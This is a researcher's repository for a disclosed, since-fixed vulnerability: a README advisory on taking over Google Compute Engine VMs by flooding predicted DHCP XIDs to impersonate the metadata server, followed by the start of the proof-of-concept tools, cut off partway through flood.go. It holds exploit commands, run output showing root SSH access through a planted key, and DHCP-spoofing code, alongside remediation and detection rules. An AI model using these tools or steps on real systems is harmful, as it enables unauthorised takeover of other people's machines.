├── README.md └── poc-tool ├── build.sh ├── detect-ping-timeout.pl ├── flood.go ├── meta.py ├── randr ├── randr.c ├── takeover-at-discover.pl ├── takeover-at-renew.pl ├── takeover.pl └── udp-pps-test.pl /README.md: -------------------------------------------------------------------------------- 1 | # Abstract 2 | 3 | This was an advisory about an unpatched vulnerability (at time of publishing this repo, 2021-06-25) affecting 4 | virtual machines in Google's Compute Engine platform. The flaw is fixed by Google since (as of 2021-07-30). 5 | The technical details below is almost exactly the same as my report sent to the VRP team. 6 | 7 | Attackers could take over virtual machines of the Google Cloud Platform over the network due to weak 8 | random numbers used by the ISC DHCP software and an unfortunate combination of additional factors. 9 | This is done by impersonating the Metadata server from the targeted virtual machine's point of view. 10 | By mounting this exploit, the attacker can grant access to themselves over SSH (public key authentication) 11 | so then they can login as the root user. 12 | 13 | 14 | # The vulnerability 15 | 16 | ISC's implementation of the DHCP client (isc-dhcp-client package on the Debian flavors) relies on 17 | random(3) to generate pseudo-random numbers (a nonlinear additive feedback random). 18 | It is [seeded](https://github.com/isc-projects/dhcp/blob/master/client/dhclient.c) with the srandom function as follows: 19 | 20 | ``` 21 | /* Make up a seed for the random number generator from current 22 | time plus the sum of the last four bytes of each 23 | interface's hardware address interpreted as an integer. 24 | Not much entropy, but we're booting, so we're not likely to 25 | find anything better. */ 26 | seed = 0; 27 | for (ip = interfaces; ip; ip = ip->next) { 28 | int junk; 29 | memcpy(&junk, 30 | &ip->hw_address.hbuf[ip->hw_address.hlen - 31 | sizeof seed], sizeof seed); 32 | seed += junk; 33 | } 34 | srandom(seed + cur_time + (unsigned)getpid()); 35 | ``` 36 | 37 | This effectively consists of 3 components: 38 | 39 | - the current unixtime when the process is started 40 | 41 | - the pid of the dhclient process 42 | 43 | - the sum of the last 4 bytes of the ethernet addresses (MAC) of the network interface cards 44 | 45 | On the Google Cloud Platform, the virtual machines usually have only 1 NIC, something like this: 46 | 47 | ``` 48 | root@test-instance-1:~/isc-dhcp-client/real3# ifconfig 49 | ens4: flags=4163 mtu 1460 50 | inet 10.128.0.2 netmask 255.255.255.255 broadcast 10.128.0.2 51 | inet6 fe80::4001:aff:fe80:2 prefixlen 64 scopeid 0x20 52 | ether 42:01:0a:80:00:02 txqueuelen 1000 (Ethernet) 53 | RX packets 1336873 bytes 128485980 (122.5 MiB) 54 | RX errors 0 dropped 0 overruns 0 frame 0 55 | TX packets 5708403 bytes 2012678044 (1.8 GiB) 56 | TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 57 | ``` 58 | 59 | Note that the last 4 bytes (`0a:80:00:02`) of the MAC address (`42:01:0a:80:00:02`) are actually the same as 60 | the internal IP address of the box (`10.128.0.2`). This means, 1 of the 3 components is effectively public. 61 | 62 | The pid of the dhclient process is predictable. The linux kernel assigns process IDs in a linear way. 63 | I found that the pid varies between 290 and 315 (by rebooting a Debian 10 based VM many times and 64 | checking the pid), making this component of the seed easily predictable. 65 | 66 | The unix time component has a more broad domain, but this turns out to be not a practical problem (see later). 67 | 68 | The firewall/router of GCP blocks broadcast packets sent by VMs, so only the metadata server (169.254.169.254) 69 | receives them. However, some phases of the DHCP protocol don't rely on broadcasts, and the packets to be sent 70 | can be easily calculated and sent in advance. 71 | 72 | To mount this attack, the attacker needs to craft multiple DHCP packets using a set of precalculated/suspected 73 | XIDs and flood the victim's dhclient directly (no broadcasts here). If the XID is correct, the victim machine applies 74 | the network configuration. This is a race condition, but since the flood is fast and exhaustive, the metadata server 75 | has no real chance to win. 76 | 77 | At this point the attacker is in the position of reconfiguring the network stack of the victim. 78 | 79 | Google heavily relies on the Metadata server, including the distribution of ssh public keys. 80 | The connection is secured at the network/routing layer and the server is not authenticated (no TLS, clear 81 | http only). The `google_guest_agent` process, that is responsible for processing the responses of the 82 | Metadata server, establishes the connection via the virtual hostname `metadata.google.internal` which 83 | is an alias in the `/etc/hosts` file. This file is managed by `/etc/dhcp/dhclient-exit-hooks.d/google_set_hostname` 84 | as a hook part of the DHCP response processing and the alias is normally added by this script at each 85 | DHCPACK. 86 | By having full control over DHCP, the Metadata server can be impersonated. This attack has been found and 87 | documented by `Chris Moberly`, who inspired my research with his oslogin privesc write up here: 88 | 89 | https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes/-/tree/master/oslogin-privesc-june-2020 90 | 91 | The difference is, flooding of the dhclient process is done remotely in my attack and the XIDs are guessed. 92 | 93 | The attack consists of 2 phases: 94 | 95 | #1 Instructing the client to set the IP address of the rogue metadata server on the NIC. 96 | No router is configured. This effectively cuts the internet connection of the box. 97 | `google_guest_agent` can't fall back to connecting the real metadata server. 98 | This DHCP lease is short lived (15 seconds), so dhclient sends a DHCPREQUEST soon again and starts looking 99 | for a new DHCPACK. 100 | 101 | Since a new ip address (the rouge metadata server) and new hostname (`metadata.google.com`) is part of this 102 | DHCPACK packet, the `google_set_hostname` function adds two lines like like below (35.209.180.239 is the rouge 103 | metadata server I used): 104 | 105 | 35.209.180.239 metadata.google.internal metadata # Added by Google 106 | 169.254.169.254 metadata.google.internal # Added by Google 107 | 108 | 109 | The attacker is still flooding at this point, and since ARP is not flushed quickly, these packets are 110 | still delivered. 111 | 112 | #2. Restoring a working network stack, along with the valid router address. This DHCPACK does not contain a hostname, 113 | so `google_set_hostname` won't touch `/etc/hosts`. The poisoned `metadata.google.internal` entry remains in there. 114 | 115 | In case multiple entries are present in the hosts file, the Linux kernel prioritizes the link-local address 116 | (169.254.169.254) lower than the routable ones. 117 | 118 | At this point `google_guest_agent` can establish a TCP connection to the (rouge) metadata server, where it gets 119 | a config that contains the attacker's ssh public key. The entry is populated into `/root/.ssh/authorized_keys` 120 | and the attacker can open a root shell remotely. 121 | 122 | 123 | # Attack scenarios 124 | 125 | Attackers would gain full access to the targeted virtual machines in all attack scenarios below. 126 | 127 | - Attack #1: Targeting a VM on the same subnet (~same project), while it is rebooting. 128 | The attacker needs presence on another host. 129 | 130 | - Attack #2: Targeting a VM on the same subnet (~same project), while it is refreshing the lease (so no reboot is needed). 131 | This takes place every half an hour (1800s), making 48 windows/attempts possible a day. 132 | Since an F class VM has ~170.000 pps (packet per second), and a day of unixtime + potential pids makes ~86420 potential 133 | XIDs, this is a feasible attack vector. 134 | 135 | - Attack #3: Targeting a VM over the internet. This requires the firewall in front of the victim VM to be fully open. 136 | Probably not a common scenario, but since even the webui of GCP Cloud Console has an option for that, there must be 137 | quite some VMs with this configuration. 138 | In this case the attacker also needs to guess the internal IP address of the VM, but since the first VM seems 139 | to get `10.128.0.2` always, the attack could work, still. 140 | 141 | 142 | 143 | # Proof of concepts 144 | 145 | ## Attack #1 146 | 147 | As described above, you need to run a rogue metadata server running a host with port 80 open from the internet. 148 | I used 35.209.180.239 for this purpose (this is the public IP address of 10.128.0.2, a compute engine box actually), 149 | meta.py is running here: 150 | 151 | ``` 152 | root@test-instance-1:~/isc-dhcp-client/real3# ./meta.py 153 | Usage: ./meta.py id_rsa.pub 154 | 155 | root@test-instance-1:~/isc-dhcp-client/real3# ./meta.py id_rsa.pub 156 | ``` 157 | 158 | My proof of concept exploits a simplified setup, when the victim box is being rebooted. In this case unixtime 159 | of the dhclient process can be guessed easily. 160 | 161 | ``` 162 | root@test-instance-1:~/isc-dhcp-client/real3# ./takeover-at-reboot.pl 163 | Usage: ./takeover-at-reboot.pl victim-ip-address meta-ip-address 164 | ``` 165 | 166 | The victim box is `10.128.0.4` here. The public IP address of this host is `34.67.219.89`. 167 | Verifying first we don't have access using the RSA private key that belongs to id_rsa.pub referenced above 168 | for meta.py: 169 | 170 | ``` 171 | root@builder:/opt/_tmp/dhcp/exploit# ssh -i id_rsa root@34.67.219.89 172 | Permission denied (publickey). 173 | ``` 174 | 175 | Then the attack is started: 176 | 177 | ``` 178 | root@test-instance-1:~/isc-dhcp-client/real3# ./takeover-at-reboot.pl 10.128.0.4 35.209.180.239 179 | 180 | 10.128.0.4: alive: 1601231808... 181 | ``` 182 | 183 | Then I type reboot on the victim host (`10.128.0.4`). The rest of the output of `takeover-at-reboot.pl`: 184 | 185 | ``` 186 | 10.128.0.4 seems to be not alive anymore 187 | RUN: ip addr show dev ens4 | awk '/inet / {print $2}' | cut -d/ -f1 188 | RUN: ip route show default | awk '/via/ {print $3}' 189 | NIC: ens4 190 | Min pid: 290 191 | Max pid: 315 192 | Min ts: 1601231808 193 | Max ts: 1601231823 194 | My IP: 10.128.0.2 195 | Router: 10.128.0.1 196 | Target IP: 10.128.0.4 197 | Target MAC: 42:01:0a:80:00:04 198 | Number of potential xids: 41 199 | Initial OFFER+ACK flood 200 | MAC: 42:01:0a:80:00:04 201 | Src IP: 10.128.0.2 202 | Dst IP: 10.128.0.4 203 | New IP: 35.209.180.239 204 | New hostname: metadata.google.internal 205 | New route: 206 | ACK: true 207 | Offer: true 208 | Oneshot: false 209 | Flooding again to revert the original network config 210 | MAC: 42:01:0a:80:00:04 211 | Src IP: 10.128.0.2 212 | Dst IP: 10.128.0.4 213 | New IP: 10.128.0.4 214 | New hostname: 215 | New route: 10.128.0.1 216 | ACK: true 217 | Offer: false 218 | Oneshot: false 219 | ``` 220 | 221 | After this point, the output of the screen where meta.py is running is flooded with lines like this: 222 | 223 | ``` 224 | 34.67.219.89 - - [27/Sep/2020 18:40:06] "GET /computeMetadata/v1//?recursive=true&alt=json&wait_for_change=true&timeout_sec=60&last_etag=NONE HTTP/1.1" 200 - 225 | ``` 226 | 227 | At this point, I can login to victim box using the new (attacker controlled) SSH key. 228 | 229 | ``` 230 | root@builder:/opt/_tmp/dhcp/exploit# ssh -i id_rsa root@34.67.219.89 231 | Linux metadata 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 232 | 233 | The programs included with the Debian GNU/Linux system are free software; 234 | the exact distribution terms for each program are described in the 235 | individual files in /usr/share/doc/*/copyright. 236 | 237 | Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 238 | permitted by applicable law. 239 | root@metadata:~# id 240 | uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers) 241 | ``` 242 | 243 | This was tested using the official Debian 10 images. 244 | 245 | 246 | 247 | 248 | ## Attack #2 249 | 250 | To verify this setup, I built a slightly modified version of dhclient; besides some additional log lines the only important change is the 251 | increased frequency of lease renewals: 252 | 253 | ``` 254 | *** dhclient.c.orig 2020-09-29 23:38:16.322296529 +0200 255 | --- dhclient.c 2020-09-29 22:51:11.000000000 +0200 256 | *************** void bind_lease (client) 257 | *** 1573,1578 **** 258 | --- 1573,1580 ---- 259 | client->new = NULL; 260 | 261 | /* Set up a timeout to start the renewal process. */ 262 | + client->active->renewal = cur_time + 5; // hack! 263 | + 264 | tv.tv_sec = client->active->renewal; 265 | tv.tv_usec = ((client->active->renewal - cur_tv.tv_sec) > 1) ? 266 | myrandom("active renewal") % 1000000 : cur_tv.tv_usec; 267 | ``` 268 | 269 | 270 | A 10 minute window consists of ~600 potetial XIDs. I rebooted the victim host (`10.128.0.4`), logged in, ran 271 | `journalctl -f|grep dhclient` to see what is going on. Then I executed the `takeover-at-renew.pl` script 272 | on the attacker machine (internal ip: `10.128.0.2`, external ip: `35.209.180.239`, a VM on the same subnet): 273 | 274 | ``` 275 | # ONESHOT_WINDOW_MIN=10 ./takeover-at-renew.pl 10.128.0.4 35.209.180.239 276 | ``` 277 | 278 | This resulted the following log lines on the victim machine: 279 | 280 | ``` 281 | Oct 02 07:06:05 test-instance-2 dhclient[301]: DHCPREQUEST for 10.128.0.4 on ens4 to 169.254.169.254 port 67 282 | Oct 02 07:06:05 test-instance-2 dhclient[301]: DHCPACK of 10.128.0.4 from 169.254.169.254 283 | Oct 02 07:06:05 test-instance-2 dhclient[301]: bound to 10.128.0.4 -- renewal in 5 seconds. 284 | Oct 02 07:06:10 test-instance-2 dhclient[301]: DHCPREQUEST for 10.128.0.4 on ens4 to 169.254.169.254 port 67 285 | Oct 02 07:06:10 test-instance-2 dhclient[301]: DHCPACK of 10.128.0.4 from 169.254.169.254 286 | Oct 02 07:06:11 test-instance-2 dhclient[301]: bound to 10.128.0.4 -- renewal in 5 seconds. 287 | Oct 02 07:06:16 test-instance-2 dhclient[301]: DHCPREQUEST for 10.128.0.4 on ens4 to 169.254.169.254 port 67 288 | Oct 02 07:06:16 test-instance-2 dhclient[301]: DHCPACK of 10.128.0.4 from 169.254.169.254 289 | Oct 02 07:06:16 test-instance-2 dhclient[301]: bound to 10.128.0.4 -- renewal in 5 seconds. 290 | Oct 02 07:06:21 test-instance-2 dhclient[301]: DHCPREQUEST for 10.128.0.4 on ens4 to 169.254.169.254 port 67 291 | Oct 02 07:06:21 test-instance-2 dhclient[301]: DHCPACK of 10.128.0.4 from 169.254.169.254 292 | Oct 02 07:06:21 test-instance-2 dhclient[301]: bound to 10.128.0.4 -- renewal in 5 seconds. 293 | Oct 02 07:06:26 test-instance-2 dhclient[301]: DHCPREQUEST for 10.128.0.4 on ens4 to 169.254.169.254 port 67 294 | Oct 02 07:06:26 test-instance-2 dhclient[301]: DHCPACK of 10.128.0.4 from 169.254.169.254 295 | Oct 02 07:06:26 test-instance-2 dhclient[301]: bound to 10.128.0.4 -- renewal in 5 seconds. 296 | Oct 02 07:06:31 test-instance-2 dhclient[301]: DHCPREQUEST for 10.128.0.4 on ens4 to 169.254.169.254 port 67 297 | Oct 02 07:06:31 test-instance-2 dhclient[301]: DHCPACK of 35.209.180.239 from 10.128.0.2 298 | Oct 02 07:06:32 metadata dhclient[301]: bound to 35.209.180.239 -- renewal in 5 seconds. 299 | Oct 02 07:06:37 metadata dhclient[301]: DHCPREQUEST for 35.209.180.239 on ens4 to 35.209.180.239 port 67 300 | Oct 02 07:06:44 metadata dhclient[301]: DHCPREQUEST for 35.209.180.239 on ens4 to 35.209.180.239 port 67 301 | Oct 02 07:06:46 metadata dhclient[301]: DHCPACK of 10.128.0.4 from 10.128.0.2 302 | Oct 02 07:06:47 metadata dhclient[301]: bound to 10.128.0.4 -- renewal in 5 seconds. 303 | ``` 304 | 305 | This means the 6th round was successful. With "normal" lease renewal (unpatched `dhclient`), the same thing would have 306 | taken ~3 hours. 307 | 308 | The attack was indeed successful: 309 | 310 | ``` 311 | root@test-instance-2:~# cat /etc/hosts 312 | 127.0.0.1 localhost 313 | ::1 localhost ip6-localhost ip6-loopback 314 | ff02::1 ip6-allnodes 315 | ff02::2 ip6-allrouters 316 | 317 | 35.209.180.239 metadata.google.internal metadata # Added by Google 318 | 169.254.169.254 metadata.google.internal # Added by Google 319 | ``` 320 | 321 | I repeated the attack and flooded the victim with 3 hours of XIDs (~10000). The 51th DHCPREQUEST was hijacked (would 322 | have taken a little bit more than a complete day with "normal" lease times). 323 | I concluded that the execution time indeed correlates with the number of XIDs. 324 | This of course would decrease the success rate in real life setups, but the attack is still feasible. 325 | 326 | 327 | ## Attack #3 328 | 329 | A prerequisite of this attack is the GCP firewall to be effectively turned off. 330 | 331 | I found that my DHCP related packets were not forwarded to the VM while the VM is rebooting (probably not after the 332 | lease is returned at reboot), effectively ruling out `takeover-at-discover.pl`. 333 | 334 | I decided to carry out an attack against the lease renewal (effectively the same as #2). My expectation was that it should 335 | still be feasible. 336 | 337 | I tested this scenario using an AWS VM as the attacker machine and a really short time window (2 minutes). 338 | The `meta.py` script was still running on the GCP attacker machine (external ip: 35.209.180.239). 339 | I rebooted the victim machine (internal ip: `10.128.0.4`, external ip: `34.122.27.253`), logged in, ran `journalctl -f|grep dhclient`. 340 | 341 | Then on the AWS attacker machine (external ip: `3.136.97.244`), I executed this command: 342 | 343 | ``` 344 | root@ip-172-31-25-197:~/real8# NIC=eth0 ONESHOT_WINDOW_MIN=2 FINAL_IP=10.128.0.4 MY_ROUTER=10.128.0.1 ./takeover-at-renew.pl 34.122.27.253 35.209.180.239 345 | Flooding destination between with XIDs between 1601651865 and 1601651984 346 | RUN: ip addr show dev eth0 | awk '/inet / {print $2}' | cut -d/ -f1 347 | RUN: /root/real8/randr 10.128.0.4 290 315 1601651865 1601651984 2>/dev/null | paste -sd ',' - >/tmp/xids.txt 348 | NIC: eth0 349 | Min pid: 290 350 | Max pid: 315 351 | Min ts: 1601651865 352 | Max ts: 1601651984 353 | Attacker IP: 172.31.25.197 354 | Router: 10.128.0.1 355 | Target IP (initial phase): 34.122.27.253 356 | Target MAC: 42:01:0a:80:00:04 357 | Target IP (final phase): 10.128.0.4 358 | 34.122.27.253 is alive 359 | Start flooding the victim for 1801 sec 360 | And monitoring it in the background 361 | Running for 1801 sec in the background: /root/real8/flood -ack -lease 15 -dev eth0 -dstip 34.122.27.253 -newhost metadata.google.internal -newip 35.209.180.239 -srcip 172.31.25.197 -mac 42:01:0a:80:00:04 -xidfile /tmp/xids.txt 362 | MAC: 42:01:0a:80:00:04 363 | Src IP: 172.31.25.197 364 | Dst IP: 34.122.27.253 365 | New IP: 35.209.180.239 366 | New hostname: metadata.google.internal 367 | New route: 368 | ACK: true 369 | Offer: false 370 | Oneshot: false 371 | Number of XIDs: 145 372 | The host is down, it probably swallowed the poison ivy! 373 | And now some flood again to revert connectivity 374 | it seems the attack was successful 375 | root@ip-172-31-25-197:~/real8# Running for 12 sec in the background: /root/real8/flood -ack -ack -lease 1800 -dev eth0 -dstip 34.122.27.253 -newip 10.128.0.4 -route 10.128.0.1 -srcip 172.31.25.197 -mac 42:01:0a:80:00:04 -xidfile /tmp/xids.txt 376 | MAC: 42:01:0a:80:00:04 377 | Src IP: 172.31.25.197 378 | Dst IP: 34.122.27.253 379 | New IP: 10.128.0.4 380 | New hostname: 381 | New route: 10.128.0.1 382 | ACK: true 383 | Offer: false 384 | Oneshot: false 385 | Number of XIDs: 145 386 | ``` 387 | 388 | This was running for a while and finally succeeded at the 21th DHCPREQUEST. With normal lease times this would have taken ~11 hours. 389 | The metadata server was taken over successfully: 390 | 391 | ``` 392 | Oct 02 15:21:30 test-instance-2 dhclient[301]: DHCPACK of 35.209.180.239 from 3.136.97.244 393 | Oct 02 15:21:30 metadata dhclient[301]: bound to 35.209.180.239 -- renewal in 5 seconds. 394 | ``` 395 | 396 | The host file was modified according to the expectations: 397 | 398 | ``` 399 | root@test-instance-2:~# cat /etc/hosts 400 | 127.0.0.1 localhost 401 | ::1 localhost ip6-localhost ip6-loopback 402 | ff02::1 ip6-allnodes 403 | ff02::2 ip6-allrouters 404 | 405 | 35.209.180.239 metadata.google.internal metadata # Added by Google 406 | 169.254.169.254 metadata.google.internal # Added by Google 407 | ``` 408 | 409 | And also got some connections from the osconfig agent (the kept-alive connection of the guest agent probably survived the network change) 410 | 411 | ``` 412 | 34.122.27.253 - - [02/Oct/2020 15:29:09] "PUT /computeMetadata/v1/instance/guest-attributes/guestInventory/Hostname HTTP/1.1" 501 - 413 | ``` 414 | 415 | When I repeated this attack (2 minute XID window still), the 5th round was successful (2.5 hours with normal leases). 416 | 417 | 418 | Conclusion about attack #2 and #3: not the most reliable thing on earth, but definetely possible. I think if I kept the victim host down 419 | longer than the TCP read timeout of google_guest_agent, then the existing metadata server connection would be interrupted, then 420 | while reinitiating the connection after the network connectivity was restored, it would hit the fake metadata server. 421 | 422 | 423 | 424 | # Remediation 425 | 426 | - Get in touch with ISC. They really need to improve the srandom setup. Maybe get a new feature added that drops packets by 427 | non-legitimate DHCP servers (so you could rely on this as an additional security measure). 428 | - Even if ISC has improved their software, it won't be upgraded on most of your VMs. Analyze your firewall logs to learn 429 | if you have any clients that rely on these ports for any legitimate reasons. 430 | Block udp/68 between VMs, so that only the metadata server could could carry out DHCP. 431 | - Stop using the Metadata server via this virtual hostname (metadata.google.internal). At least in your official agents. 432 | - Stop managing the virtual hostname (metadata.google.internal) via DHCP. The IP address is documented to be stable anyway. 433 | - Secure the communication with the Metadata server by using TLS, at least in your official agents. 434 | 435 | Note, using a random generated MAC address wouldn't prevent mounting the attack on the same subnet. 436 | 437 | # FAQ 438 | 439 | ** - The issue seems generic. Are other cloud providers affected as well? ** 440 | 441 | - I checked only the major ones, they were not affected (at least at the time of checking) due to another factors 442 | (e.g. not using DHCP by default). 443 | 444 | ** - If Google doesn't fix this, what can I do? ** 445 | 446 | - Google usually closes bug reports with status "Unfeasible" when the efforts required to fix outweigh the risk. 447 | This is not the case here. I think there is some technical complexity in the background, which doesn't allow 448 | them deploying a network level protection measure easily. 449 | Until the fix arrives, consider one of the followings: 450 | - don't use DHCP 451 | - setup a host level firewall rule to ensure the DHCP communication comes from the metadata server (169.254.169.254) 452 | - setup a GCP/VPC/Firewall rule blocking udp/68 as is (all source, all destination) [more info](https://github.com/irsl/gcp-dhcp-takeover-code-exec/issues/4#issuecomment-872145234) 453 | 454 | Google's official guidance to block untrusted internal traffic to exploit this flaw: 455 | 456 | --- 457 | > To block incoming traffic over UDP port 68, adjust the following gCloud command syntax for your environment: 458 | > 459 | > ``` 460 | > gcloud --project= compute firewall-rules create block-dhcp --action=DENY --rules=udp:68 --network= --priority=100 461 | > ``` 462 | > 463 | > * The above command will create a firewall rule named `"block-dhcp"` in the specified project and VPC that will block all inbound traffic over UDP port 68 464 | > * Setting the priority to `100` gives the rule a high priority, but other values can be used. We recommend setting this value [as low as possible](https://cloud.google.com/vpc/docs/firewalls#priority_order_for_firewall_rules) to prevent other rules from superseding it 465 | > * The command will need to be executed for each VPC you wish to block DHCP on by replacing `` with the respective VPC 466 | > * Note that firewall rule names cannot be reused within the same project; multiple rules for different VPCs in a project will need to have different names (`block-dhcp2`, `block-dhcp-vpcname`, etc) 467 | > * Additional information on configuring firewall rules can be in Google Cloud documentation [here](https://cloud.google.com/vpc/docs/using-firewalls). 468 | --- 469 | 470 | ** - How to detect this attack? ** 471 | 472 | DHCP renewal usually yields only a few packets every 30 minutes (per host). This attack requires sending a flood of 473 | DHCP packets (hundreds of thousands of packets per second). Setting a rate limiter could probably detect or prevent 474 | the attack: 475 | 476 | ``` 477 | iptables -A INPUT -p udp --dport 68 -m state --state NEW -m recent --set 478 | iptables -A INPUT -p udp --dport 68 -m state --state NEW -m recent --update --seconds 1 --hitcount 10 -j LOG --log-prefix "DHCP attack detected " 479 | ``` 480 | 481 | ** - What is the internal ID of this bug in Google's bug tracker? ** 482 | 483 | https://issuetracker.google.com/issues/169519201 484 | 485 | ** - Is this a vulnerability of ISC dhclient? ** 486 | 487 | While a PRNG with more entropy sources could have prevented this flaw being exploitable in GCP, I still think this is not 488 | a vulnerability of their implementation for the following two reasons: 489 | - DHCP XIDs are public (broadcasted on the same LAN) anyway 490 | - with regular IP/MAC setups (=where they are not predictable/static) and udp/68 exposed, not even the current "weak" PRNG 491 | would be practically exploitable 492 | 493 | Note: in the meanwhile, Google has identified an [additional attack vector](https://gitlab.isc.org/isc-projects/dhcp/-/issues/197) 494 | gaining an MitM position for a local threat actor. 495 | 496 | 497 | # Timeline 498 | 499 | * 2020-09-26: Issue identified, attack #1 validated 500 | * 2020-09-27: Reported to Google VRP 501 | * 2020-09-29: VRP triage is complete "looking into it" 502 | * 2020-10-02: Further details shared about attack #2 and #3 503 | * 2020-10-07: Accepted, "Nice catch" 504 | * 2020-12-02: Update requested about the estimated time of fix 505 | * 2020-12-03: ... "holiday season coming up" 506 | * 2021-06-07: Asked Google if a fix is coming in a reasonable time, as I'm planning to publish an advisory 507 | * 2021-06-08: Standard response "we ask for a reasonable advance notice." 508 | * 2021-06-25: Public disclosure 509 | * 2021-07-30: "Our systems show that all the bugs we created based on your report have been fixed by the product team." 510 | 511 | # Credits 512 | 513 | [Imre Rad](https://www.linkedin.com/in/imre-rad-2358749b/) 514 | -------------------------------------------------------------------------------- /poc-tool/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | go get github.com/initstring/dhcp4 4 | go build flood.go 5 | gcc randr.c -o randr 6 | 7 | -------------------------------------------------------------------------------- /poc-tool/detect-ping-timeout.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use strict; 4 | use warnings; 5 | use Net::Ping; 6 | 7 | $| = 1; 8 | 9 | my $host = shift @ARGV; 10 | die "Usage: $0 target-ip-address\n" if(!$host); 11 | 12 | print "\n"; 13 | 14 | my $p = Net::Ping->new("icmp", $ENV{PING_TIMEOUT} || 0.3); 15 | my $now; 16 | while(1) { 17 | $now = time(); 18 | last if(!$p->ping($host)); 19 | print "\r$host: alive: $now"; 20 | } 21 | $p->close(); 22 | 23 | print "\n"; 24 | print "$host seems to be not alive anymore\n"; 25 | 26 | exit(0); 27 | -------------------------------------------------------------------------------- /poc-tool/flood.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // GCP metadata server hijack via DHCP spoofing 4 | // Exploit by Imre Rad (inspired by Chris Moberly) 5 | 6 | import ( 7 | "encoding/hex" 8 | "os" 9 | "io/ioutil" 10 | "flag" 11 | "fmt" 12 | "net" 13 | "strings" 14 | "time" 15 | 16 | "github.com/initstring/dhcp4" 17 | // reuse "github.com/libp2p/go-reuseport" // need a third party lib for this; seems like I'm on a hype train 18 | ) 19 | 20 | 21 | var BROADCAST string = "255.255.255.255" 22 | var METAIP string = "169.254.169.254" 23 | 24 | var SOURCEPORT int = 67 // 0 // need to use a random port (to avoid port already in use issues) 25 | var DESTPORT int = 68 26 | 27 | 28 | 29 | func reverse(numbers []byte) []byte { 30 | for i := 0; i < len(numbers)/2; i++ { 31 | j := len(numbers) - i - 1 32 | numbers[i], numbers[j] = numbers[j], numbers[i] 33 | } 34 | return numbers 35 | } 36 | 37 | func main() { 38 | oneshotFlag := flag.Bool("oneshot", false, "Whether to flood infinitely or just to send a single round only. Defaults to false.") 39 | offerFlag := flag.Bool("offer", false, "Whether to send OFFER. Defaults to false (don't send).") 40 | ackFlag := flag.Bool("ack", false, "Whether to send ACK. Defaults to false (don't send).") 41 | xidStrFlag := flag.String("xids", "", "Required. DHCP transaction IDs to use as a comma separated list of raw hex (e.g. 12345678,DEADBEAF).") 42 | xidFileFlag := flag.String("xidfile", "", "Same as above xids, but this is a path to a text file.") 43 | leaseFlag := flag.Int("lease", 0, "Required. Lease time in seconds.") 44 | srcIPFlag := flag.String("srcip", "", "Required. The source IP address in the DHCP packets (IP header).") 45 | dstIPFlag := flag.String("dstip", "", "Required. The destination IP address in the DHCP packets (IP header).") 46 | newIPFlag := flag.String("newip", "", "Required. The new_address in DHCPACK (e.g. the rouge metadata server while poisoning).") 47 | newHostFlag := flag.String("newhost", "", "The new_hostname in DHCPACK (e.g. the rouge metadata server while poisoning).") 48 | routeFlag := flag.String("route", "", "The default route in DHCPACK. No route will be included if this parameter is omitted.") 49 | deviceFlag := flag.String("dev", "", "Required. Network device to use.") 50 | macFlag := flag.String("mac", "", "Required. MAC address of the target (e.g. 02:42:ac:11:00:04).") 51 | flag.Parse() 52 | 53 | xidInput := *xidStrFlag 54 | if (xidInput == "") { 55 | xidInput = os.Getenv("XIDS") 56 | } 57 | if ((xidInput == "") && (*xidFileFlag != "")) { 58 | xidBytes, err := ioutil.ReadFile(*xidFileFlag) 59 | if err != nil { 60 | panic(err) 61 | } 62 | xidInput = strings.TrimSpace(string(xidBytes)) 63 | } 64 | if ((xidInput == "") || (*newIPFlag == "") || (*leaseFlag == 0) || (*macFlag == "")) { 65 | flag.PrintDefaults() 66 | return 67 | } 68 | 69 | var packetTypes = []dhcp4.MessageType {} 70 | if (*ackFlag) { 71 | packetTypes = append(packetTypes, dhcp4.ACK) 72 | } 73 | if (*offerFlag) { 74 | packetTypes = append(packetTypes, dhcp4.Offer) 75 | } 76 | 77 | if (len(packetTypes) <= 0) { 78 | fmt.Println("You need to specify either -ack or -offer (or both).") 79 | return 80 | } 81 | 82 | xidStrs := strings.Split(xidInput, ",") 83 | var xids [][]byte 84 | for _, x := range xidStrs { 85 | decoded, err := hex.DecodeString(x) 86 | if err != nil { 87 | panic(err) 88 | } 89 | xids = append(xids, reverse(decoded)) 90 | } 91 | 92 | mac, _ := net.ParseMAC(*macFlag) 93 | 94 | fmt.Println("MAC:", *macFlag) 95 | fmt.Println("Src IP:", *srcIPFlag) 96 | fmt.Println("Dst IP:", *dstIPFlag) 97 | fmt.Println("New IP:", *newIPFlag) 98 | fmt.Println("New hostname:", *newHostFlag) 99 | fmt.Println("New route:", *routeFlag) 100 | fmt.Println("ACK:", *ackFlag) 101 | fmt.Println("Offer:", *offerFlag) 102 | fmt.Println("Oneshot:", *oneshotFlag) 103 | fmt.Println("Number of XIDs:", len(xids)) 104 | 105 | flood(packetTypes, *oneshotFlag, *offerFlag, xids, parseIPv4(*srcIPFlag), parseIPv4(*dstIPFlag), parseIPv4(*newIPFlag), parseIPv4(*routeFlag), mac, *deviceFlag, *newHostFlag, *leaseFlag) 106 | } 107 | 108 | func getPacketName(packetType dhcp4.MessageType) string { 109 | if packetType == dhcp4.ACK { 110 | return "DHCPACK" 111 | } else if packetType == dhcp4.Offer { 112 | return "DHCPOFFER" 113 | } else { 114 | return "?" 115 | } 116 | } 117 | 118 | func parseIPv4(ip string) net.IP { 119 | if len(ip) <= 0 { 120 | return nil 121 | } 122 | return net.ParseIP(ip)[12:16] 123 | } 124 | 125 | func flood( 126 | packetTypes []dhcp4.MessageType, 127 | oneshot bool, 128 | offer bool, 129 | xids [][]byte, 130 | srcIP net.IP, 131 | dstIP net.IP, 132 | newIP net.IP, 133 | router net.IP, 134 | mac net.HardwareAddr, 135 | device string, 136 | host string, 137 | lease int) { 138 | // Transform the arguments into something usable 139 | dhcpServer := newIP 140 | dnsServer := net.ParseIP(METAIP)[12:16] 141 | hostName := []byte(host) 142 | leaseTime := time.Duration(lease) * time.Second 143 | 144 | // Set up the configuration for the DHCP packets 145 | type config struct { 146 | description string 147 | mt dhcp4.MessageType 148 | chAddr net.HardwareAddr 149 | CIAddr net.IP 150 | serverId net.IP 151 | yIAddr 